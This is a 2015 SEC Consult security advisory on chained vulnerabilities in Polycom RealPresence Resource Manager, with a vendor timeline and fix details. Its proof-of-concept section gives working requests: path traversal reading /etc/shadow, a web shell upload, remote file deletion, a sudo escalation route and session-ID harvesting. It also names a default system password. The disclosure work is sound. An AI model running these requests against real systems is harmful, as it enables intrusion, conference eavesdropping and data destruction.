Critical vulnerabilities allow surveillance on conferences

SEC Consult Vulnerability Lab Security Advisory < 20150626-0 >


title: Critical vulnerabilities allow surveillance on conferences

product: Polycom RealPresence Resource Manager (RPRM)

vulnerable versions: <8.4

fixed version: 8.4

CVE numbers: CVE-2015-4681, CVE-2015-4682, CVE-2015-4683, CVE-2015-4684


impact: critical


found: 2015-03-10

by: R. Freingruber, C.A. (Office Vienna)

SEC Consult Vulnerability Lab


An integrated part of SEC Consult

Berlin - Frankfurt/Main - Montreal - Singapore

Vienna (HQ) - Vilnius - Zurich




Vendor description:


"A key component of the Polycom RealPresence Platform, available as a hardened

appliance or software optimized for virtualized environments, the RealPresence

Resource Manager application is critical to effectively managing thousands of

mobile, desktop, and group telepresence systems."



Business recommendation:


By combining all vulnerabilities documented in this advisory an unprivileged

authenticated remote attacker can gain full system access (root) on the RPRM

appliance. This has an impact on all conferences taking place via this RP

Resource Manager. Attackers can steal all conference passcodes and join or

record any conference.


SEC Consult recommends not to use this system until a thorough security review

has been performed by security professionals and all identified issues have

been resolved.



Vulnerability overview/description:


1) Unauthorized plaintext password disclosure of RMX admin accounts

The RPRM discloses the plaintext password of the RMX admin user to an

unauthorized unprivileged attacker by including it in certain HTTP responses.

No manipulation of parameters is required.



2) Arbitrary file disclosure (I) via path traversal (CVE-2015-4684)

Ordinary unprivileged users can download an Excel file of all their upcoming

conferences. This functionality can be exploited by an authenticated attacker

to download arbitrary files from the server due to insufficient input validation.

There is no restriction on which files might be downloaded since this action

is performed with root privileges.



3) Plaintext passwords stored in logfiles

RPRM generates logdata which includes plaintext passwords. This weakness in

combination with the previous vulnerability allows an unprivileged attacker

to escalate his privileges to the admin level in the web interface.



4) Arbitrary file upload via path traversal (CVE-2015-4684)

This vulnerability requires admin privileges in the web interface, but combining

all previous vulnerabilities in this advisory allows privilege escalation.

Administrators can import (upload) "user aliases" in the web interface. This

functionality is vulnerable to a path traversal attack. This vulnerability

can be exploited to upload a webshell and execute arbitrary commands with

the permissions of the system user "plcm".



5) Sudo misconfiguration allows privilege escalation (CVE-2015-4685)

The "plcm" user is allowed to execute certain tools and scripts in given

folders with root privileges. At the same time many of these scripts and

folders are writeable to the plcm user. This allows execution of arbitrary

code with root privileges.



6) Arbitrary file disclosure (II) and removal (path traversal) (CVE-2015-4684)

An authenticated attacker can download and remove any files using this path

traversal vulnerability. Exploitation of this vulnerability requires admin

privileges. There is no restriction on which files might be downloaded or

removed since this action is performed with root privileges.



7) Weak/Missing Authorization

The separation of users relies on the fact that conference IDs are not

guessable, but as soon as an information disclosure vulnerability allows an

attacker to gather conference IDs authorization can be bypassed. The

arbitrary file download vulnerability (2) allows an attacker to collect

valid conference IDs.



8) Absolute path disclosure (CVE-2015-4682)

The web application discloses the absolute path to the web root.

To collect this information no parameter manipulation is required.

The webroot path is valuable when uploading a web shell (see vulnerability 4).



9) Session ID in GET parameter allows for privilege escalation (CVE-2015-4683)

Certain actions on the website (Excel and log file downloads) submit

session IDs in HTTP GET parameters. If a privileged user performs such

an action his session ID is written to the webserver log which can be

retrieved by an unprivileged attacker by exploiting the vulnerability (2).

This results in an additional privilege escalation path. Since session IDs

are bound to source IP addresses successfull exploitation requires the

attacker to have the same source IP as his victim (e.g. NAT).



Proof of concept:


1) Unauthorized plaintext password disclosure of RMX admin accounts


POST /PlcmRmWeb/JNetworkDeviceManager?n=... HTTP/1.1
Host: <host>:8443
SOAPAction: http://

<soap:Envelope xmlns:soap="" xmlns:xsi="" xmlns:xsd=""><soap:Body><aa:getAvailableBridges xmlns:aa=""><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><resultsForConferenceOwner>false</resultsForConferenceOwner><areaId>-1</areaId></aa:getAvailableBridges></soap:Body></soap:Envelope>

<env:Envelope xmlns:env=''>
    <ns2:getAvailableBridgesResponse xmlns:ns2="">


The same information is disclosed in the "aa:getMCUsNetworkDevicesForList" and

"aa:getNetworkDevicesForList" requests.



2) Arbitrary file disclosure (I) via path traversal

The following URL allows an attacker to read the /etc/shadow file:

https:// hostname:8443/PlcmRmWeb/FileDownload?DownloadType=REPORT&Modifier=../../../../../../../etc/shadow&Credentials=*VALID-USER-TOKEN*&ClientId=&FileName=



(plcm user password is Polycom123)


3) Plaintext passwords stored in logfiles


No proof of concept necessary.



4) Arbitrary file upload via path traversal


POST /PlcmRmWeb/FileUpload HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
User-Agent: Shockwave Flash
Host: <host>:8443
Content-Length: 1076
Connection: Keep-Alive
Cache-Control: no-cache

Content-Disposition: form-data; name="Filename"

Content-Disposition: form-data; name="SE_LOC"

Content-Disposition: form-data; name="Token"

Content-Disposition: form-data; name="SE_FNAME"

Content-Disposition: form-data; name="UploadType"

Content-Disposition: form-data; name="FlashSessionId"

Content-Disposition: form-data; name="Filedata"; filename="webshell-123.jsp"
Content-Type: application/octet-stream

*web shell payload here*

Content-Disposition: form-data; name="Upload"

Submit Query



5) Sudo misconfiguration allows privilege escalation

Excerpt from /etc/sudoers:


plcm   ALL=(ALL)  ALL 
plcm   ALL=(root)NOPASSWD:/usr/sbin/dmidecode 
plcm   ALL=(root)NOPASSWD:/sbin/init 
plcm   ALL=(root)NOPASSWD:/sbin/service 
plcm   ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/bin/ 
plcm   ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/schema/script/ 
plcm   ALL=(root)NOPASSWD:/opt/polycom/cma/*/ha/scripts/* 
plcm   ALL=(root)NOPASSWD:/var/polycom/cma/upgrade/scripts/* 
plcm   ALL=(root)NOPASSWD:/usr/bin/snmptrap 
plcm   ALL=(root)NOPASSWD:/usr/bin/snmpget 
plcm   ALL=(root)NOPASSWD:/sbin/iptables 
plcm   ALL=(root)NOPASSWD:/usr/sbin/tcpdump 
plcm   ALL=(root)NOPASSWD:/usr/sbin/logrotate 
plcm   ALL=(root)NOPASSWD:/usr/sbin/wired_supplicant_configurator 


Among many other paths in this long list, the folder


is writeable for the plcm user. Simply placing any malicious script/executable in

this folder and executing it via sudo gives an attacker full root access.



6) Arbitrary file disclosure (II) and removal (path traversal)


The following request is used to disclose and remove "/etc/hosts" from the system.

An arbitrary file can be specified here (operations are executed with root privileges).


POST /PlcmRmWeb/JUserManager?n=... HTTP/1.1
Host: <host>:8443
SOAPAction: http://

<soap:Envelope xmlns:soap="" xmlns:xsi="" xmlns:xsd=""><soap:Body><aa:importSipUriReservations xmlns:aa=""><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><filePathName>../../../../../../../../../../../../../etc/hosts</filePathName></aa:importSipUriReservations></soap:Body></soap:Envelope>


It's very likely that the SOAP action "aa:importUserH323Reservations" contains the same vulnerability.



7) Weak/Missing Authorization


The exploit of this vulnerability has been removed from this advisory.

According to the vendor it is unresolved in the new software version 8.4.



8) Absolute path disclosure


POST /PlcmRmWeb/JConfigManager?n=... HTTP/1.1
Host: <host>:8443
SOAPAction: http://
Content-Length: 417

<soap:Envelope xmlns:soap="" xmlns:xsi="" xmlns:xsd=""><soap:Body><aa:getCustomLogoUploadPath xmlns:aa=""><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials></aa:getCustomLogoUploadPath></soap:Body></soap:Envelope>

<env:Envelope xmlns:env=''>
    <ns2:getCustomLogoUploadPathResponse xmlns:ns2="">


At least the following SOAP actions can be used to retrieve absolute paths:

- aa:getCustomLogoUploadPath

- aa:getCustomDesktopLogoUploadPath

- aa:getUploadDirectory

- aa:getSystemLogFiles

- aa:getLegacyUploadDir

- aa:getAuditLogFiles



9) Session ID in GET parameter allows privilege escalation


Sample URL that contains a session ID in the GET parameter 'Credential':



Path to the webserver access logfiles:

Extract valid session IDs from the log files:
egrep "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" localhost_access_log.log



Vulnerable versions:


According to the vendor, all software versions <8.4 are affected.



Vendor contact timeline:


2015-03-25: Video conference with Polycom, discussing vulnerabilities

2015-03-27: Contacting Polycom through, requesting

encryption keys, attaching responsible disclosure policy.

2015-04-01: Polycom provides PGP key

2015-04-02: Sending encrypted security advisory to Polycom

2015-04-03: Polycom provides affected versions

2015-04-29: Polycom provides planned release date (2015-06-19) and

version number that fixes issues.

2015-05-06: SEC Consult confirms advisory release date: 2015-06-26

2015-06-15: Polycom releases RPRM v8.4

2015-06-18: Polycom provides URL to RPRM v8.4

2015-06-18: SEC Consult asks for reassurance that v8.4 fixes reported

vulnerabilities since 8.4's release notes do not mention

any fixes.

2015-06-22: Received a list that the vulnerabilities were fixed.

2015-06-26: Coordinated release of security advisory.





Update to RPRM v8.4.


For further information see the following URL of the vendor:



RPRM v8.4 does _not_ address the weakness described in section 7

(Weak/Missing Authorization).








Advisory URL:






SEC Consult Vulnerability Lab


SEC Consult

Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich


About SEC Consult Vulnerability Lab

The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It

ensures the continued knowledge gain of SEC Consult in the field of network

and application security to stay ahead of the attacker. The SEC Consult

Vulnerability Lab supports high-quality penetration testing and the evaluation

of new offensive and defensive technologies for our customers. Hence our

customers obtain the most current information about vulnerabilities and valid

recommendation about the risk profile of new technologies.



Interested to work with the experts of SEC Consult?

Send us your application


Interested in improving your cyber security with the experts of SEC Consult?

Contact our local offices



Mail: research at sec-consult dot com





EOF SEC Consult Vulnerability Lab / @2015